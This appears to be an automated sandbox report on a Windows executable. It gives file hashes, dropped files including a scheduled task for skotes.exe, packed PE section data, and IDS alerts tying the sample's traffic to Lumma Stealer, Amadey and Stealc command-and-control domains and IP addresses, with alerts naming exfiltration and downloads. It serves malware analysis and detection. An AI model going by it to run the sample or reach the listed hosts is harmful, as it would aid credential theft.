SHA1:	D5799C35B5A8C4A0BB1DCD0E4640638E7D62BF15
SHA-256:	1799862AB8C83F0FF5E799EA068FD647A4601420333AC7295FE2AB34D901DA9E
SHA-512:	8ABD70AE638915F54670142E2A9ED4EA3D9D4222A930D79E7EEF859789A1FD37E12582BD61B3103D85141B88311B496F8EFE5ABE67C586A0A570CB485FF8A7CF
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499854850393331
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp64LZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCepFNMr4yrdwB0
MD5:	4DC94EF9E790F6B0D35F885A0C6B0951
SHA1:	D5799C35B5A8C4A0BB1DCD0E4640638E7D62BF15
SHA-256:	1799862AB8C83F0FF5E799EA068FD647A4601420333AC7295FE2AB34D901DA9E
SHA-512:	8ABD70AE638915F54670142E2A9ED4EA3D9D4222A930D79E7EEF859789A1FD37E12582BD61B3103D85141B88311B496F8EFE5ABE67C586A0A570CB485FF8A7CF
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4594704689745694
Encrypted:	false
SSDEEP:	6:b/n8VXUhXUEZ+lX1CGdKUe6tE9+AQy0lH/0ut0:jn8R4Q1CGAFD9+nVH1t0
MD5:	FEDF53F0D7107072332366519C757FB4
SHA1:	B3C0228238C418FBB460A275ED6BF54BD9C5781C
SHA-256:	BB7CABAB51FB1D124075371F7452362321633EDBDCCC77D2F61A29548B5557CD
SHA-512:	ADE95D821A2327E6D7E07BB685560A7CDFCA7885BAE2723DC60D2BD15420F5C3BF6C2BFAE64329D5D1ED04416A7173780C5ED9C3EC78351C9C168F7BF939EAC8
Malicious:	false
Preview:	......7.qZ=G..XZ_...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5063754022945135
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'948'608 bytes
MD5:	78d26695bb248b0c04f8fe3fb9192cbf
SHA1:	96745bf2baf11c14cbaf60833fdbc3da41fc3988
SHA256:	5ef46b5d1fae9aece8c77b16d96c2d4005e7c5d95e0bc84c839e27342177847d
SHA512:	0f456dec326253e57bc9c02eb5abccb250f4374c97e4c5bc5bc9de88de69d450d9d445fedda884c020bec8c82cfe6501a0318185cfa92a8a9db2a7e1c1f144c5
SSDEEP:	49152:YNgWD3XaVdSn33MUgz0rlSS6/LRalPdBmPRmnLcOb:ogWjXaVdSnnDM8lSS6/LOPdBmgnQ
TLSH:	4DD53BB1B549A3CFD58F17B44667CD81AAAD06B907304CC3A87EA47E7E63CC111B9D28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@..........................@0......5-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x701000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8C350A07FAh
paddusb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8C350A27F5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	0b143f740dbafd08244e5212a4d50476	False	0.9980040164576802	data	7.976277548646829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
blpxggon	0x5b000	0x2a5000	0x2a4200	c1304f10cc49dc0822d8b405827acd25	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mabdpyjv	0x300000	0x1000	0x600	b224814cc2e4352c0a1483b88e675b3c	False	0.53125	data	4.689884179193921	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x301000	0x3000	0x2200	0f2f091ab8c069e56ce8f029a9a4a83a	False	0.06789981617647059	DOS executable (COM)	0.7671849951026529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T03:45:06.108918+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	57329	1.1.1.1	53	UDP
2024-11-01T03:45:06.122446+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	61624	1.1.1.1	53	UDP
2024-11-01T03:45:06.133573+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	63015	1.1.1.1	53	UDP
2024-11-01T03:45:06.157271+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	49926	1.1.1.1	53	UDP
2024-11-01T03:45:06.171651+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	65216	1.1.1.1	53	UDP
2024-11-01T03:45:06.821314+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:06.821314+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:07.353241+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:07.353241+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-01T03:45:08.764276+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:08.764276+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:09.479304+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:09.479304+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-01T03:45:10.320448+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-01T03:45:10.320448+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-01T03:45:11.836889+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-01T03:45:11.836889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-01T03:45:13.179790+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-01T03:45:13.179790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-01T03:45:15.194214+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:45:15.194214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:45:15.881203+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-01T03:45:16.960878+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49727	188.114.97.3	443	TCP
2024-11-01T03:45:16.960878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49727	188.114.97.3	443	TCP
2024-11-01T03:45:19.321630+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:45:19.321630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:45:19.779077+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-01T03:45:20.705372+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49750	185.215.113.16	80	TCP
2024-11-01T03:45:21.663657+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.6	49754	TCP
2024-11-01T03:46:05.919533+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	58522	185.215.113.43	80	TCP
2024-11-01T03:46:09.289604+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	58524	185.215.113.16	80	TCP
2024-11-01T03:46:17.600647+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	58523	TCP
2024-11-01T03:46:18.299827+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	60709	1.1.1.1	53	UDP
2024-11-01T03:46:18.312960+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	50158	1.1.1.1	53	UDP
2024-11-01T03:46:18.327823+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	61381	1.1.1.1	53	UDP
2024-11-01T03:46:18.339778+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	54766	1.1.1.1	53	UDP
2024-11-01T03:46:18.513134+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	58525	185.215.113.43	80	TCP
2024-11-01T03:46:18.976557+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:18.976557+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:19.430052+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	58527	185.215.113.16	80	TCP
2024-11-01T03:46:19.519186+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:19.519186+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58526	188.114.97.3	443	TCP
2024-11-01T03:46:20.182249+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:20.182249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:20.694192+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:20.694192+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58528	188.114.97.3	443	TCP
2024-11-01T03:46:21.609076+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58529	188.114.97.3	443	TCP
2024-11-01T03:46:21.609076+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58529	188.114.97.3	443	TCP
2024-11-01T03:46:23.197751+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58530	188.114.97.3	443	TCP
2024-11-01T03:46:23.197751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58530	188.114.97.3	443	TCP
2024-11-01T03:46:24.610157+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58532	188.114.97.3	443	TCP
2024-11-01T03:46:24.610157+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58532	188.114.97.3	443	TCP
2024-11-01T03:46:26.796753+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:26.796753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:27.298463+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	58534	188.114.97.3	443	TCP
2024-11-01T03:46:28.155415+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	58535	185.215.113.43	80	TCP
2024-11-01T03:46:29.328911+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58538	188.114.97.3	443	TCP
2024-11-01T03:46:29.328911+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58538	188.114.97.3	443	TCP
2024-11-01T03:46:29.456603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	58536	185.215.113.16	80	TCP
2024-11-01T03:46:29.752957+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	58537	185.215.113.206	80	TCP
2024-11-01T03:46:30.101836+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	49340	1.1.1.1	53	UDP
2024-11-01T03:46:30.116836+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	58097	1.1.1.1	53	UDP
2024-11-01T03:46:30.128576+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	58740	1.1.1.1	53	UDP
2024-11-01T03:46:30.139794+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	54538	1.1.1.1	53	UDP
2024-11-01T03:46:30.802128+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:30.802128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:31.808851+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:31.808851+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:31.887298+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:31.887298+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58539	188.114.97.3	443	TCP
2024-11-01T03:46:32.140085+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58540	188.114.97.3	443	TCP
2024-11-01T03:46:32.569440+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:32.569440+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:33.058034+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:33.058034+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	58541	188.114.97.3	443	TCP
2024-11-01T03:46:33.076308+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	58542	185.215.113.16	80	TCP
2024-11-01T03:46:34.528129+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58543	188.114.97.3	443	TCP
2024-11-01T03:46:34.528129+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58543	188.114.97.3	443	TCP
2024-11-01T03:46:36.156821+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	58544	185.215.113.43	80	TCP
2024-11-01T03:46:36.215361+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58545	188.114.97.3	443	TCP
2024-11-01T03:46:36.215361+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58545	188.114.97.3	443	TCP
2024-11-01T03:46:37.381258+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	58546	185.215.113.16	80	TCP
2024-11-01T03:46:37.381258+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	58546	185.215.113.16	80	TCP
2024-11-01T03:46:38.233075+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	58547	188.114.97.3	443	TCP
2024-11-01T03:46:38.233075+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	58547	188.114.97.3	443	TCP
2024-11-01T03:46:41.122811+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	55382	1.1.1.1	53	UDP
2024-11-01T03:46:41.163349+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	63998	1.1.1.1	53	UDP
2024-11-01T03:46:41.174563+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	57014	1.1.1.1	53	UDP
